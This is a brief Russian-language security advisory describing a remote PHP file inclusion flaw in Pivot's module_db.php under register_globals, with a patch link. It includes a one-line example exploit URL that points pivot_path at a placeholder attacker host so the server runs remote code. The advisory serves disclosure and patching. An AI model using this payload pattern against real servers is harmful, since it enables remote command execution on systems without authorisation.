PHP-инклудинг в Pivot

Описание: Уязвимость обнаружена в Pivot в файле 'module_db.php'. Удаленный атакующий может выполнять произвольные команды на системе.

Уязвимость позволяет атакующему выполнить внешний сценарий на уязвимом сервере. В конфигурации, когда значение для ‘register_globals’ равно ‘On’ в файле php.ini, атакующий может изменить значение переменной $pivot_path на удаленный источник.

Пример/Эксплоит :
http://host.com/pivot/modules/module_db.php?pivot_path=http://[hacker]

URL производителя: http://www.pivotlog.net

Решение:
Установите обновление: http://0x90.org/~loofus/pivot1.10-soundwave.patch